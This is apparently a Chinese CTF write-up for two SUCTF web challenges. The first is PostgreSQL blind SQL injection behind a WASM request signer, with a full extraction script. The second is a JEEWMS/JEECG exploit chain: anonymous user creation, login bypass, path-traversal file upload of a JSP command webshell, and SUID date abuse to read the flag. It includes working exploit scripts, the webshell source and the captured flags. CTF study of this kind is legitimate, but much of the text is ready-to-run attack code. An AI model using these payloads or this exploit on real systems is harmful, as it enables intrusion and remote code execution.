state = (Math.imul(state, 33) + char.charCodeAt(0)) >>> 0;
}
const hi = Math.floor(ts / 0x100000000);
state = (state ^ (ts >>> 0) ^ (hi >>> 0)) >>> 0;
const out = new Uint8Array(32);
for (let index = 0; index < 32; index += 1) {
state = (Math.imul(state, 1103515245) + 12345) >>> 0;
out[index] = (state >>> 16) & 0xff;
}
return out;
}
function mixSecret(buffer, probe, ts) {
const mask = probeMask(probe, ts);
if (mask[0] & 1) {
for (let index = 0; index < 32; index += 2) {
const current = buffer[index];
buffer[index] = buffer[index + 1];
buffer[index + 1] = current;
}
}
if (mask[1] & 2) {
for (let index = 0; index < 8; index += 1) {
const offset = index * 4;
let word =
(buffer[offset] |
(buffer[offset + 1] << 8) |
(buffer[offset + 2] << 16) |
(buffer[offset + 3] << 24)) >>>
0;
word = rotl32(word, 3);
buffer[offset] = word & 0xff;
buffer[offset + 1] = (word >>> 8) & 0xff;
buffer[offset + 2] = (word >>> 16) & 0xff;
buffer[offset + 3] = (word >>> 24) & 0xff;
}
}
for (let index = 0; index < 32; index += 1) {
buffer[index] ^= mask[index];
}
return buffer;
}
async function loadWasm() {
const go1 = new Go();
const crypto1 = await WebAssembly.instantiate(
fs.readFileSync("./application/crypto1.wasm"),
go1.importObject
);
go1.run(crypto1.instance);
const go2 = new Go();
const crypto2 = await WebAssembly.instantiate(
fs.readFileSync("./application/crypto2.wasm"),
go2.importObject
);
go2.run(crypto2.instance);
for (let attempt = 0; attempt < 100; attempt += 1) {
if (
typeof globalThis.__suPrep === "function" &&
typeof globalThis.__suFinish === "function"
) {
return;
}
await new Promise((resolve) => setTimeout(resolve, 10));
}
throw new Error("wasm init failed");
}
async function buildSignature(query) {
const response = await fetch(`${BASE}/api/sign`, {
headers: { "user-agent": USER_AGENT }
});
const material = await response.json();
if (!material.ok) {
throw new Error(`sign material failed: ${JSON.stringify(material)}`);
}
const { nonce, ts, seed, salt } = material.data;
const prepared = globalThis.__suPrep(
"POST",
"/api/query",
query,
nonce,
String(ts),
seed,
salt,
USER_AGENT,
PROBE
);
const secret = mixSecret(unscramble(prepared, nonce, ts), PROBE, ts);
const sign = globalThis.__suFinish(
"POST",
"/api/query",
query,
nonce,
String(ts),
bytesToB64Url(secret),
PROBE
);
return { nonce, ts, sign };
}
async function doQuery(query) {
const signature = await buildSignature(query);
const response = await fetch(`${BASE}/api/query`, {
method: "POST",
headers: {
"content-type": "application/json",
"user-agent": USER_AGENT
},
body: JSON.stringify({ q: query, ...signature })
});
return response.json();
}
async function main() {
await loadWasm();
const query = process.argv.slice(2).join(" ");
if (!query) {
console.error("usage: node solve.js <query>");
process.exit(1);
}
const result = await doQuery(query);
console.log(JSON.stringify(result, null, 2));
}
module.exports = {
BASE,
USER_AGENT,
PROBE,
loadWasm,
buildSignature,
doQuery
};
if (require.main === module) {
main().catch((error) => {
console.error(error);
process.exit(1);
});
}
功能:
- 本地初始化 wasm
- 请求
/api/sign - 复现
__suPrep + unscramble + mixSecret + __suFinish - 向远端发送合法的
/api/query
最小使用方式:
node .\solve.js a
返回:
{
"ok": true,
"data": [
{
"id": 2,
"title": "Patch notes 0x01"
},
{
"id": 3,
"title": "Service status"
}
]
}
这一步非常关键:一旦本地查询链打通,题目就从“前端带 wasm 的黑盒题”变回普通 SQL 注入利用题。
四、确认 SQL 注入
使用 solve.js 测试一些最基础的输入。
- 普通关键字
q = a
返回两条记录,说明搜索功能正常。
- 通配符
q = %
q = _
都能返回全部 3 条数据,说明后端大概率是做了 LIKE/ILIKE 模糊查询。
- 单引号
q = '
返回报错:
ERROR: unterminated quoted string at or near "' LIMIT 20" (SQLSTATE 42601)
这几乎等于明牌告诉我们:
- 数据库是
PostgreSQL q被直接拼进 SQL- 且后面还有固定的
LIMIT 20
到这里,注入已经可以确认。
五、黑名单/WAF 分析
继续测一些常规 payload:
' OR 1=1--
' UNION SELECT 1,'a'--
' ORDER BY 1--
这些请求都会直接返回:
{"ok":false,"error":"blocked"}
说明题目额外加了一层关键字拦截。
经过逐步测试,可确认被拦的内容包括:
unionandor--/*chrpg_read_filepg_sleepcurrent_settinginformation_schema::cast
但是仍然可用的能力也不少:
CASE WHENsubstringasciipositionquery_to_xmldatabase_to_xmlschema_to_xmlxmlserializexpath_exists
这就给了我们非常大的操作空间。
六、找出注入拼接方式
一个很重要的测试 payload 是:
'||version()||'
这个 payload 不会被拦,而且能正常参与查询。
进一步测试:
'||(CASE WHEN 1=1 THEN '' ELSE 'zzzzzz' END)||'
'||(CASE WHEN 1=2 THEN '' ELSE 'zzzzzz' END)||'
现象:
- 条件为真时,返回全部公开 notes
- 条件为假时,返回空数组
这说明 SQL 拼接方式并不是:
... WHERE title LIKE '%<q>%'
而更接近于:
... WHERE title ILIKE '%' || <q> || '%'
因为我们传入:
'||(CASE WHEN cond THEN '' ELSE 'zzzzzz' END)||'
会变成:
'%' || '' || '%'
或:
'%' || 'zzzzzz' || '%'
于是我们得到了一个非常稳定的布尔盲注原语:
'||(CASE WHEN <condition> THEN '' ELSE 'zzzzzz' END)||'
真假判断标准:
- 真:匹配模式仍然是
%%,命中全部数据 - 假:匹配模式变成
%zzzzzz%,返回空
七、利用 XML 相关函数突破黑名单
1. 为什么不用常规 UNION
因为:
union被拦and/or被拦- 注释被拦
传统拼接打法非常难受。
2. PostgreSQL 的 XML 函数很强
PostgreSQL 自带一些非常有用的函数:
query_to_xml(...)database_to_xml(...)xmlserialize(...)
其中:
query_to_xml(sql, true, true, '')可以执行一条查询,并把结果转成 XMLdatabase_to_xml(true, true, '')可以把当前数据库完整导出成 XMLxmlserialize(content ... as text)可以把 XML 安全转成文本
这意味着我们甚至不需要 UNION SELECT,也不需要直接走 information_schema,就能从整库 XML 里把敏感内容挖出来。
八、验证整库 XML 中存在 flag
先验证数据库 XML 是否可读:
'||database_to_xml(true,true,'')||'
虽然页面结果本身不直接回显 XML,但这个表达式可以正常执行。
然后结合布尔条件做检测:
'||(CASE WHEN xpath_exists('//title[text()="Welcome to SU Query"]',database_to_xml(true,true,'')) THEN '' ELSE 'zzzzzz' END)||'
返回为真,说明整库 XML 中确实包含页面里这几条公开 note。
接着继续搜索关键词:
'||(CASE WHEN xpath_exists('//text()[contains(.,"SUCTF")]',database_to_xml(true,true,'')) THEN '' ELSE 'zzzzzz' END)||'
返回为真。
再测:
'||(CASE WHEN xpath_exists('//text()[contains(.,"SUCTF{")]',database_to_xml(true,true,'')) THEN '' ELSE 'zzzzzz' END)||'
仍然返回为真。
这就说明:当前数据库的 XML 全量导出中,已经直接包含了 flag 文本。
所以根本没必要再费劲枚举表名和列名,直接对整库 XML 做文本抽取即可。
九、最终抽取表达式
把数据库 XML 转成文本后,用正则抽出 flag:
substring(
xmlserialize(content database_to_xml(true,true,'') as text)
from 'SUCTF[{][^}]+[}]'
)
这条表达式的意义是:
- 先把整库导出成 XML
- 再序列化成普通文本
- 最后用正则匹配第一个形如
SUCTF{...}的字符串
先验证是否存在:
'||(CASE WHEN length(substring(xmlserialize(content database_to_xml(true,true,'') as text) from 'SUCTF[{][^}]+[}]'))>0 THEN '' ELSE 'zzzzzz' END)||'
返回为真。
说明这个表达式已经成功定位到 flag。
十、字符级盲注
接下来只需要按位爆破即可。
- 求长度
可以直接判断:
length(flag_expr) >= mid
例如:
'||(CASE WHEN length(substring(xmlserialize(content database_to_xml(true,true,'') as text) from 'SUCTF[{][^}]+[}]'))>=36 THEN '' ELSE 'zzzzzz' END)||'
- 求单个字符
逐位取字符:
ascii(substring(flag_expr from pos for 1)) >= mid
例如第一位:
'||(CASE WHEN ascii(substring(substring(xmlserialize(content database_to_xml(true,true,'') as text) from 'SUCTF[{][^}]+[}]') from 1 for 1))>=83 THEN '' ELSE 'zzzzzz' END)||'
用二分就能很快求出每一位。
十一、自动化脚本
extract-flag.js
const { loadWasm, doQuery } = require("./solve");
const FLAG_EXPR =
"substring(xmlserialize(content database_to_xml(true,true,'') as text) from 'SUCTF[{][^}]+[}]')";
function buildPayload(condition) {
return `'||(CASE WHEN ${condition} THEN '' ELSE 'zzzzzz' END)||'`;
}
async function isTrue(condition) {
const result = await doQuery(buildPayload(condition));
if (!result.ok) {
throw new Error(`query failed for ${condition}: ${JSON.stringify(result)}`);
}
return Array.isArray(result.data) && result.data.length > 0;
}
async function extractLength() {
let low = 0;
let high = 128;
while (low + 1 < high) {
const mid = Math.floor((low + high) / 2);
const condition = `length(${FLAG_EXPR})>=${mid}`;
if (await isTrue(condition)) {
low = mid;
} else {
high = mid;
}
}
return low;
}
async function extractChar(position) {
let low = 32;
let high = 126;
while (low < high) {
const mid = Math.floor((low + high + 1) / 2);
const condition = `ascii(substring(${FLAG_EXPR} from ${position} for 1))>=${mid}`;
if (await isTrue(condition)) {
low = mid;
} else {
high = mid - 1;
}
}
return String.fromCharCode(low);
}
async function main() {
await loadWasm();
const length = await extractLength();
console.log(`[+] flag length: ${length}`);
let flag = "";
for (let index = 1; index <= length; index += 1) {
const char = await extractChar(index);
flag += char;
console.log(`[+] ${index}/${length}: ${flag}`);
}
console.log(`[+] flag: ${flag}`);
}
main().catch((error) => {
console.error(error);
process.exit(1);
});
这个脚本做的事情是:
- 调用
solve.js的合法签名查询能力 - 用布尔盲注先二分求出 flag 长度
- 再逐位二分字符
- 最终打印完整 flag
运行方式:
node .\extract-flag.js
实际输出:
[+] flag length: 36
[+] 1/36: S
[+] 2/36: SU
[+] 3/36: SUC
[+] 4/36: SUCT
[+] 5/36: SUCTF
[+] 6/36: SUCTF{
[+] 7/36: SUCTF{P
[+] 8/36: SUCTF{P9
[+] 9/36: SUCTF{P9s
[+] 10/36: SUCTF{P9s9
[+] 11/36: SUCTF{P9s9L
[+] 12/36: SUCTF{P9s9L_
[+] 13/36: SUCTF{P9s9L_!
[+] 14/36: SUCTF{P9s9L_!N
[+] 15/36: SUCTF{P9s9L_!Nj
[+] 16/36: SUCTF{P9s9L_!Nje
[+] 17/36: SUCTF{P9s9L_!Njec
[+] 18/36: SUCTF{P9s9L_!Nject
[+] 19/36: SUCTF{P9s9L_!Nject!
[+] 20/36: SUCTF{P9s9L_!Nject!O
[+] 21/36: SUCTF{P9s9L_!Nject!On
[+] 22/36: SUCTF{P9s9L_!Nject!On_
[+] 23/36: SUCTF{P9s9L_!Nject!On_I
[+] 24/36: SUCTF{P9s9L_!Nject!On_IS
[+] 25/36: SUCTF{P9s9L_!Nject!On_IS_
[+] 26/36: SUCTF{P9s9L_!Nject!On_IS_3
[+] 27/36: SUCTF{P9s9L_!Nject!On_IS_3@
[+] 28/36: SUCTF{P9s9L_!Nject!On_IS_3@$
[+] 29/36: SUCTF{P9s9L_!Nject!On_IS_3@$Y
[+] 30/36: SUCTF{P9s9L_!Nject!On_IS_3@$Y_
[+] 31/36: SUCTF{P9s9L_!Nject!On_IS_3@$Y_R
[+] 32/36: SUCTF{P9s9L_!Nject!On_IS_3@$Y_Ri
[+] 33/36: SUCTF{P9s9L_!Nject!On_IS_3@$Y_RiG
[+] 34/36: SUCTF{P9s9L_!Nject!On_IS_3@$Y_RiGh
[+] 35/36: SUCTF{P9s9L_!Nject!On_IS_3@$Y_RiGht
[+] 36/36: SUCTF{P9s9L_!Nject!On_IS_3@$Y_RiGht}
[+] flag: SUCTF{P9s9L_!Nject!On_IS_3@$Y_RiGht}
十二、最终 flag
SUCTF{P9s9L_!Nject!On_IS_3@$Y_RiGht}
SU_wms
0. 题目概览
这题的核心不是一个单独的 RCE 点,而是一条完整的漏洞链:
web.xml把/rest/*单独映射给 Spring MVC。AuthInterceptor对大部分/rest/...路径直接放行。- 匿名可访问
GET /rest/user、POST /rest/user,可以枚举用户、创建新用户。 loginController.do?changeDefaultOrg在白名单里,而且不校验验证码,能直接拿用户名/密码建登录态。TokenController.saveImage存在任意文件写入。webUploadpath=C://upFiles在 Linux 容器里不是 Windows 绝对路径,而是一个可穿越的相对路径,最终能把 JSP 写进 WebRoot。- JSP 落到
/upload/后直接作为 WebShell 执行,拿到命令执行。
所以整条链可以概括为:
匿名枚举/造用户 -> 越权建立会话 -> 任意文件写入 -> JSP WebShell -> RCE -> 读 flag
这也是为什么题目提示写的是“前台 RCE”,因为真正利用时可以不依赖后台正常登录流程。
1. 先说结论
最稳的利用链如下:
- 匿名访问
GET /jeewms/rest/user,枚举已有用户,拿到一个真实的departid。 - 匿名访问
POST /jeewms/rest/user,创建我们自己的低权限用户。 - 调用白名单接口
POST /jeewms/loginController.do?changeDefaultOrg,用我们刚创建的用户名/密码和上一步拿到的真实orgId建立登录会话。 - 带着该会话访问
PUT /jeewms/rest/tokens/saveImage?imageFileName=<shell>.jsp&fileAddr=../../webapps/jeewms/upload,请求体直接写入 JSP。 - 访问
/jeewms/upload/<shell>.jsp?cmd=id,得到 RCE。 - 查找并读取 flag。
远端赛题环境里,最后一步还存在一层环境加固:
- WebShell 执行身份是
wms - flag 文件是
0400 root:root /usr/bin/date带 SUID
所以实战里最终读 flag 用的是:
date -f /实际/flag/路径 2>&1
如果只看当前仓库,能严格证明到 RCE;最后这一步的提权/读 flag 细节是远端环境观察结果,不是 Dockerfile 里直接写死的逻辑,我会在后面单独说明。
2. 关键源码分析
2.1 /rest/* 是一条单独的前台入口
war_unpacked/WEB-INF/web.xml 里单独把 /rest/* 映射给了 restSpringMvc:
<servlet-mapping>
<servlet-name>restSpringMvc</servlet-name>
<url-pattern>/rest/*</url-pattern>
</servlet-mapping>
也就是说,像 /rest/user、/rest/tokens/saveImage 这样的路径不会走传统的 *.do 入口,而是直接命中 REST 风格控制器。
2.2 AuthInterceptor 对大部分 /rest/... 直接放行
cfr_out/org/jeecgframework/core/interceptors/AuthInterceptor.java 的核心逻辑:
String requestPath = ResourceUtil.getRequestPath(request);
if (requestPath.matches("^rest/[a-zA-Z0-9_/]+$")) {
return true;
}
只要 requestPath 形如 rest/xxx/yyy,就直接放过,不要求登录。
看起来像是开发者为了“移动端 / API 调用方便”给 /rest/* 开了一个总白名单,但这个设计本身已经非常危险了。
2.3 但这里有一个很关键的细节:带查询串的 saveImage 其实不会被这条正则放行
cfr_out/org/jeecgframework/core/util/ResourceUtil.java:
String queryString = request.getQueryString();
String requestPath = request.getRequestURI();
if (StringUtils.isNotEmpty(queryString)) {
requestPath = requestPath + "?" + queryString;
}
if (requestPath.indexOf("&") > -1) {
requestPath = requestPath.substring(0, requestPath.indexOf("&"));
}
requestPath = requestPath.substring(request.getContextPath().length() + 1);
这段代码不是只取路径,它会把第一个查询参数也拼进去。
也就是说,请求:
/jeewms/rest/tokens/saveImage?imageFileName=shell.jsp&fileAddr=../../webapps/jeewms/upload
在拦截器眼里会变成:
rest/tokens/saveImage?imageFileName=shell.jsp
它已经不匹配 ^rest/[a-zA-Z0-9_/]+$ 了,因此**不能直接匿名打 **saveImage。
这就是本题一个很容易忽略、但实际上非常关键的点:
- 匿名可以直接打
/rest/user - 但匿名不能直接打带参数的
/rest/tokens/saveImage - 所以还必须再补一段“拿会话”的利用
2.4 /rest/user 可以匿名枚举用户
cfr_out/org/jeecgframework/web/rest/controller/UserRestController.java:
@RequestMapping(method={RequestMethod.GET})
@ResponseBody
public List<TSUser> list() {
List<TSUser> listUsers = this.userService.getList(TSUser.class);
return listUsers;
}
这个接口没有任何鉴权,直接把所有 TSUser 返回。
而 TSBaseUser 里像这些字段都没有做 JSON 隐藏:
userNamepassworddepartidstatusdeleteFlag
因此 GET /rest/user 至少可以帮我们拿到:
- 系统里已经存在的用户名
- 用户对应的
departid - 用户 ID
- 已存储的密码密文
本题里最重要的是 departid,因为后面 changeDefaultOrg 需要一个真实存在的 orgId。
2.5 /rest/user 还能匿名创建用户
同一个控制器里:
@RequestMapping(method={RequestMethod.POST}, consumes={"application/json"})
@ResponseBody
public ResponseEntity<?> create(@RequestBody TSUser user, UriComponentsBuilder uriBuilder) {
Set failures = this.validator.validate(user);
if (!failures.isEmpty()) {
return new ResponseEntity(..., HttpStatus.BAD_REQUEST);
}
this.userService.save(user);
...
}
这里直接 save(user),没有:
- 权限校验
- 用户名唯一性校验
- 角色校验
- 密码二次加密逻辑
这意味着我们可以直接往数据库里插入一个自定义用户。
2.6 密码不能传明文,必须自己按系统算法算好
登录校验走的是:
UserServiceImpl.checkUserExits -> CommonDao.findUserByAccountAndPassword
cfr_out/org/jeecgframework/core/common/dao/impl/CommonDao.java:
String password = PasswordUtil.encrypt(username, inpassword, PasswordUtil.getStaticSalt());
String query = "from TSUser u where u.userName = :username and u.password=:passowrd";
PasswordUtil 的逻辑是:
- 算法:
PBEWithMD5AndDES - 固定 salt:
63293188 - 明文:
username - 密钥:
password - 迭代:
1000
也就是说,数据库里存的不是“密码的 hash”,而是:
encrypt(用户名, 明文密码, 固定 salt)
所以如果我们要创建用户 pwned / pwned,必须先算出对应密文再写入数据库。
仓库里已经提供了计算器:
PwdCalc.java
直接运行:
java PwdCalc pwned pwned
结果是:
0d36c2853ed296ee
因此创建用户时可以发送:
{
"userName": "pwned",
"realName": "pwned",
"password": "0d36c2853ed296ee",
"status": 1,
"activitiSync": 0,
"deleteFlag": 0
}
2.7 changeDefaultOrg 在白名单里,而且不校验验证码
spring-mvc.xml 里明确把它放进了 excludeUrls:
<value>loginController.do?changeDefaultOrg</value>
cfr_out/org/jeecgframework/web/system/controller/core/LoginController.java:
@RequestMapping(params={"changeDefaultOrg"})
@ResponseBody
public AjaxJson changeDefaultOrg(TSUser user, HttpServletRequest req) {
String orgId = req.getParameter("orgId");
TSUser u = this.userService.checkUserExits(user);
if (oConvertUtils.isNotEmpty(orgId)) {
this.saveLoginSuccessInfo(req, u, orgId);
}
return j;
}
这里的问题有三个:
- 它在鉴权白名单里,前台可直接访问。
- 它不校验验证码。
- 它只要用户名/密码正确,就直接调用
saveLoginSuccessInfo。
正常前端的设计本意是:
- 用户先走登录接口
- 如果发现有多个组织,弹框让用户选组织
- 再调用
changeDefaultOrg
但服务端没有强制“你必须先走一遍真正登录”,所以这个接口本质上就成了一个可前台直接调用的“弱登录接口”。
2.8 saveLoginSuccessInfo 才是真正建立会话的地方
LoginController.saveLoginSuccessInfo:
TSDepart currentDepart = this.systemService.get(TSDepart.class, orgId);
user.setCurrentDepart(currentDepart);
HttpSession session = ContextHolderUtils.getSession();
session.setAttribute("LOCAL_CLINET_USER", user);
...
Client client = new Client();
client.setUser(user);
ClientManager.getInstance().addClinet(session.getId(), client);
只要这个函数走完,就有两层状态被建立:
session["LOCAL_CLINET_USER"] = userClientManager.addClinet(sessionId, client)
后面拦截器取登录用户时,主要依赖的是第二层,也就是 ClientManager。
因此最稳的做法是给 changeDefaultOrg 传一个真实存在的 orgId,这样会话能一次性建立成功。
2.9 如果没有真实 orgId,也可以利用报错前的副作用
saveLoginSuccessInfo 里有一段危险的顺序:
TSDepart currentDepart = this.systemService.get(TSDepart.class, orgId);
user.setCurrentDepart(currentDepart);
session.setAttribute("LOCAL_CLINET_USER", user);
message = ... + currentDepart.getDepartname() + ...
如果 orgId 是假的,那么:
currentDepart == nullLOCAL_CLINET_USER已经写进 session- 但在拼接
currentDepart.getDepartname()时会抛 NPE ClientManager.addClinet(...)来不及执行
这时还差最后一步:再请求一次 loginController.do?login。
因为 ResourceUtil.getSessionUserName() 的逻辑是:
if (ClientManager.getInstance().getClient(session.getId()) != null) {
return ...
}
TSUser u = (TSUser)session.getAttribute(LOCAL_CLINET_USER);
ClientManager.getInstance().addClinet(session.getId(), client);
return null;
也就是说,LOCAL_CLINET_USER 一旦存在,再访问一次登录页,就会把它重新灌进 ClientManager。
所以:
- 有真实
orgId:直接走changeDefaultOrg,最稳 - 没有真实
orgId:可以fake orgId -> 触发 NPE -> 再 GET 一次 login 页面做兜底
仓库里整理后的 exploit_remote.py 已经兼容了这两种情况。
2.10 TokenController.saveImage 是任意文件写入
cfr_out/com/zzjee/api/TokenController.java:
String fileName = request.getParameter("imageFileName");
String fileAddr = request.getParameter("fileAddr");
ServletInputStream ins = request.getInputStream();
fileAddr = ResourceUtil.getConfigByName("webUploadpath") + File.separator + fileAddr;
File f = new File(fileAddr);
if (!f.exists()) {
f.mkdirs();
}
fileAddr = f.getCanonicalPath();
FileOutputStream os = new FileOutputStream(fileAddr + File.separator + fileName);
while ((bytesRead = ins.read(buffer, 0, 8192)) != -1) {
os.write(buffer, 0, bytesRead);
}
这里同时存在两个问题:
fileAddr没做路径限制,可目录穿越- 请求体内容原样写文件,可直接落 JSP
并且异常被吃掉了:
catch (Exception e) {
e.printStackTrace();
}
D0.setOK(true);
也就是说,即使写失败了,接口也可能返回 OK=true,所以最后一定要靠访问实际 shell 路径来确认。
2.11 为什么 ../../webapps/jeewms/upload 能成立
sysConfig.properties:
webUploadpath=C://upFiles
这个配置在 Windows 上看起来像绝对路径,但在 Linux 里并不是“盘符路径”,而只是一个普通字符串路径成分。
题目容器基于:
FROM tomcat:8.5-jdk8-temurin
官方 Tomcat 镜像的工作目录是 /usr/local/tomcat,因此:
C://upFiles
在 Linux 容器里可理解成:
/usr/local/tomcat/C:/upFiles
那么:
C://upFiles/../../webapps/jeewms/upload
规范化后就会变成:
/usr/local/tomcat/webapps/jeewms/upload
这正好就是应用的 WebRoot 子目录。
所以我们可以把 JSP 写到:
/usr/local/tomcat/webapps/jeewms/upload/shellxxxx.jsp
然后通过:
/jeewms/upload/shellxxxx.jsp
直接访问执行。
仓库里专门有 TestPath.java / TestPathUnix.java,明显就是为了验证这个路径行为。
2.12 为什么刚创建的低权限用户也够用
AuthInterceptor.hasMenuAuth() 里有一个很关键的逻辑:
String hasMenuSql = "select count(*) from t_s_function where functiontype = 0 and functionurl = '" + requestPath + "'";
Long hasMenuCount = this.systemService.getCountForJdbc(hasMenuSql);
if (hasMenuCount <= 0L) {
return true;
}
也就是说,只要当前请求 URL 不在菜单权限表里,就默认放行。
而这种内部 REST 接口,通常根本不会配进菜单表。
因此一旦我们有了“登录态”,哪怕只是一个新造的普通用户,也足够去打 rest/tokens/saveImage。
3. 实际利用步骤
3.1 第一步:匿名枚举用户,拿一个真实 orgId
请求:
GET /jeewms/rest/user HTTP/1.1
Host: target
重点看返回 JSON 里的:
iduserNamedepartid
只要能找到任意一个非空 departid,后面就能直接拿来当 changeDefaultOrg 的 orgId。
如果远端环境没有从这个接口直接泄露到 departid,也可以走备用路线:
- 使用假
orgId - 触发
LOCAL_CLINET_USER副作用 - 再请求一次
loginController.do?login完成ClientManager补全
3.2 第二步:匿名创建新用户
请求:
POST /jeewms/rest/user HTTP/1.1
Host: target
Content-Type: application/json
{
"userName": "pwned",
"realName": "pwned",
"password": "0d36c2853ed296ee",
"status": 1,
"activitiSync": 0,
"deleteFlag": 0
}
这里的 password 不是明文,而是 PwdCalc.java 算出来的密文。
3.3 第三步:利用 changeDefaultOrg 建会话
最稳请求:
POST /jeewms/loginController.do?changeDefaultOrg HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
userName=pwned&password=pwned&orgId=<上一步拿到的真实departid>&langCode=zh-cn
如果没有真实 orgId,兜底写法是:
POST /jeewms/loginController.do?changeDefaultOrg HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
userName=pwned&password=pwned&orgId=bogusorgid123456789012345678901234&langCode=zh-cn
然后立刻再请求一次:
GET /jeewms/loginController.do?login HTTP/1.1
Host: target
Cookie: JSESSIONID=...
目的不是看页面,而是触发 ResourceUtil.getSessionUserName(),把 LOCAL_CLINET_USER 重新同步进 ClientManager。
3.4 第四步:写入 JSP WebShell
请求:
PUT /jeewms/rest/tokens/saveImage?imageFileName=shell.jsp&fileAddr=../../webapps/jeewms/upload HTTP/1.1
Host: target
Cookie: JSESSIONID=...
Content-Type: application/octet-stream
<%@ page import="java.io.*" %><%
String cmd = request.getParameter("cmd");
if (cmd == null || cmd.isEmpty()) {
out.print("ok");
return;
}
String[] execCmd;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
execCmd = new String[]{"cmd.exe", "/c", cmd};
} else {
execCmd = new String[]{"/bin/sh", "-c", cmd};
}
Process p = Runtime.getRuntime().exec(execCmd);
InputStream in = p.getInputStream();
InputStream err = p.getErrorStream();
byte[] buf = new byte[8192];
int len;
while ((len = in.read(buf)) != -1) out.print(new String(buf, 0, len));
while ((len = err.read(buf)) != -1) out.print(new String(buf, 0, len));
%>
如果成功,shell 会出现在:
/jeewms/upload/shell.jsp
3.5 第五步:验证命令执行
请求:
GET /jeewms/upload/shell.jsp?cmd=id HTTP/1.1
Host: target
Cookie: JSESSIONID=...
3.6 第六步:找 flag
先找路径:
find / -maxdepth 2 -type f -name 'flag*' 2>/dev/null
4. 远端赛题环境的最终拿 flag 方式
远端真实环境还有两层额外条件:
- WebShell 执行身份是:
uid=999(wms) gid=999(wms) groups=999(wms)
- flag 文件权限是:
drwxr-xr-x 2 root root 4096 Mar 11 10:57 /30b5a132adc9
-r-------- 1 root root 39 Mar 1 12:39 /30b5a132adc9/flag_2d630fb4
也就是 0400 root:root,普通 cat 会被拒绝。
但远端环境里还有一个额外可利用点:
/usr/bin/date
带 SUID。
利用方式:
date -f /30b5a132adc9/flag_2d630fb4 2>&1
原因是 date -f <file> 会以其自身权限读取文件,并把每一行当成日期格式解析;当解析失败时,错误输出会带出原始内容,从而把 flag 泄露出来。
仓库里的实战记录给出的最终 flag 是:
suctf{v3ry_e45y_uN4utHOrIZEd_rC3!_!aAA}
这一步是远端部署环境附带的提权/文件读取问题。
5. 脚本
exploit_remote.py
#!/usr/bin/env python3
import argparse
import http.cookiejar
import json
import random
import string
import urllib.parse
import urllib.request
USER_NAME = "pwned"
USER_PASS = "pwned"
USER_PASS_HASH = "0d36c2853ed296ee"
FAKE_ORG_ID = "bogusorgid123456789012345678901234"
JSP_SHELL = r"""<%@ page import="java.io.*" %><%
String cmd = request.getParameter("cmd");
if (cmd == null || cmd.isEmpty()) {
out.print("ok");
return;
}
String[] execCmd;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
execCmd = new String[]{"cmd.exe", "/c", cmd};
} else {
execCmd = new String[]{"/bin/sh", "-c", cmd};
}
Process p = Runtime.getRuntime().exec(execCmd);
InputStream in = p.getInputStream();
InputStream err = p.getErrorStream();
byte[] buf = new byte[8192];
int len;
while ((len = in.read(buf)) != -1) {
out.print(new String(buf, 0, len));
}
while ((len = err.read(buf)) != -1) {
out.print(new String(buf, 0, len));
}
%>"""
def rand_name(n=6):
return "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(n))
def request(url, data=None, method=None, headers=None, opener=None):
req = urllib.request.Request(url, data=data, method=method, headers=headers or {})
if opener is None:
resp_ctx = urllib.request.urlopen(req, timeout=20)
else:
resp_ctx = opener.open(req, timeout=20)
with resp_ctx as resp:
return resp.status, resp.read().decode("utf-8", "ignore"), resp.headers
def ensure_user(base_url):
data = json.dumps(
{
"userName": USER_NAME,
"realName": USER_NAME,
"password": USER_PASS_HASH,
"status": 1,
"activitiSync": 0,
"deleteFlag": 0,
}
).encode()
try:
status, _, headers = request(
base_url + "/rest/user",
data=data,
headers={"Content-Type": "application/json"},
)
return status, headers.get("Location", "")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "ignore")
def list_users(base_url):
try:
status, body, _ = request(base_url + "/rest/user")
if status != 200:
return []
return json.loads(body)
except Exception:
return []
def pick_org_id(users):
for user in users:
depart_id = (user or {}).get("departid")
if depart_id:
return depart_id
current_depart = (user or {}).get("currentDepart") or {}
current_depart_id = current_depart.get("id")
if current_depart_id:
return current_depart_id
return ""
def bootstrap_client(base_url, opener):
try:
request(base_url + "/loginController.do?login", opener=opener)
except urllib.error.HTTPError as e:
# Even if the page errors, ResourceUtil.getSessionUserName() may already
# have copied LOCAL_CLINET_USER into ClientManager.
e.read()
def build_session(base_url, org_id):
cookie_jar = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookie_jar))
request(base_url + "/", opener=opener)
post_data = urllib.parse.urlencode(
{
"userName": USER_NAME,
"password": USER_PASS,
"orgId": org_id or FAKE_ORG_ID,
"langCode": "zh-cn",
}
).encode()
try:
request(
base_url + "/loginController.do?changeDefaultOrg",
data=post_data,
opener=opener,
)
except urllib.error.HTTPError as e:
# With a fake orgId, saveLoginSuccessInfo may fail after writing
# LOCAL_CLINET_USER into the session.
e.read()
bootstrap_client(base_url, opener)
return opener
def upload_shell(base_url, opener):
shell_name = "shell" + rand_name() + ".jsp"
query = urllib.parse.urlencode(
{
"imageFileName": shell_name,
"fileAddr": "../../webapps/jeewms/upload",
}
)
status, body, _ = request(
base_url + "/rest/tokens/saveImage?" + query,
data=JSP_SHELL.encode(),
method="PUT",
opener=opener,
)
shell_url = base_url + "/upload/" + shell_name
return shell_url, status, body
def run_cmd(shell_url, cmd, opener):
status, body, _ = request(
shell_url + "?cmd=" + urllib.parse.quote(cmd),
opener=opener,
)
return status, body
def main():
parser = argparse.ArgumentParser(
description="Exploit JEECG/JEEWMS unauth user creation + org bootstrap + JSP upload + flag read."
)
parser.add_argument(
"base",
help="Target application base URL, e.g. http://101.245.81.83:10018/jeewms",
)
args = parser.parse_args()
base_url = args.base.rstrip("/")
print(f"[+] base_url: {base_url}")
users = list_users(base_url)
org_id = pick_org_id(users)
if org_id:
print(f"[+] picked orgId from /rest/user: {org_id}")
else:
print("[+] no orgId leaked from /rest/user, will fallback to fake org bootstrap")
user_status, user_result = ensure_user(base_url)
print(f"[+] create user: HTTP {user_status} {user_result}")
opener = build_session(base_url, org_id)
if org_id:
print("[+] session established via changeDefaultOrg with a valid orgId")
else:
print("[+] session established via fake orgId + login bootstrap side effect")
shell_url, upload_status, upload_body = upload_shell(base_url, opener)
print(f"[+] upload shell: HTTP {upload_status} {upload_body}")
print(f"[+] shell_url: {shell_url}")
